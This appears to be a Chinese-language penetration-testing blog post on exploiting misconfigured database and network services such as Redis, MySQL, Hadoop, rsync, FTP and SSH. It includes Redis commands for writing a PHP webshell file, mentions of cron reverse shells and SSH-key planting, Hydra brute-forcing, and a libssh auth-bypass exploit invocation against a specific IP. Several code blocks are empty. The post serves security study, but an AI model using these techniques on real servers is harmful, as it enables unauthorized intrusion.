漏洞原理---数据库安全和常见应用服务协议
# 数据库安全
# 一、如何引发数据库服务的安全问题
- 配置不当 — 未授权访问
- 自身软件设计上存在缺陷 — 特定安全漏洞
- 有些服务使用口令验证进行操作,由于用户疏忽没有及时更改相关口令或设置的口令过于简单 — 弱口令爆破
# 二、测试大致思路
- 1、判断服务是否开放
- 端口扫描
- 组合猜测
- 信息来源
- 2、通过上一步进行端口信息判断服务类型
- 数据库
- 文件传输
- 远程控制
- 数据通讯
- 3、判断利用方式
- 特性漏洞
- 未授权访问
- 弱口令爆破
# 三、常见数据库当中漏洞
# MySQL 未授权访问 CVE-2012-2122
# Hadoop 未授权访问 - 内置配合命令执行 RCE
- Hadoop 端口信息:50010
# Redis 未授权访问 - WEBShell & 任务 & 密匙 & RCE 等
-
默认端口:6379
-
未授权访问的条件
bind 127.0.0.1
注释符开启则表示只能本地进行访问,如果被注释则可以通过外网访问protected-mode no
安全模式选项为关闭- 没有设置密码
# requirepass foobared
-
写 WEBshell 条件
- 需要知道 web 路径
- web 目录权限可读写
1
2
3
4
5config set dir /tmp # 设置WEB写入目录
config set dbfilename 1.php # 设置写入文件名
set test"<?php phpinfo();?>" # 设置写入文件内容
bgsave # 保存执行
save # 保存执行 -
写定时任务反弹 shell
- 允许异地登录
protected-mode no
安全模式选项为关闭
1 |
|
- 写入 Linux ssh-key 公匙
- 允许异地登录
- 使用 root 账户启动
protected-mode no
安全模式选项为关闭- 允许使用密钥登录,远程写入一个密钥,直接远程登录
1 |
|
# 常见应用服务协议
# 一、口令猜解 - Hydra-FTP&RDP&SSH
-
hydra 是一个自动化的爆破工具,暴力破解弱密码,是一个支持众多协议的爆破工具,已经集成到 KaliLinux 中,直接在终端打开即可
1 |
|
# 二、配置不当 - 未授权访问 - Rsync 文件备份
-
rsync 是 Linux 下一款数据备份工具,支持通过 rsync 协议、ssh 协议进行远程文件传输。其中 rsync 协议默认监听 873 端口,如果目标开启了 rsync 服务,并且没有配置 ACL 或访问密码,我们将可以读写目标服务器文件。
-
判断:rsync rsync:// 目标 IP: 端口号 /
1 |
|
# 三、协议漏洞 - 应用软件 - FTP&Proftpd 搭建
1 |
|
# 四、协议漏洞 - 应用软件 - SSH&libssh&Openssh
-
-Openssh CVE-2014-0160 CVE-2018-15473 cve_2020_15778
-
CVE-2014-0160 版本很少
-
cve_2020_15778 价值不高
-
CVE-2018-15473 - 用户名枚举
1 |
|
-
-libssh 身份验证绕过(CVE-2018-10933)
-
python libssh.py 123.58.236.76 55190 “id”
漏洞原理---数据库安全和常见应用服务协议
https://rofgd.github.io/2022/06/14/漏洞原理---数据库安全和常见应用服务协议/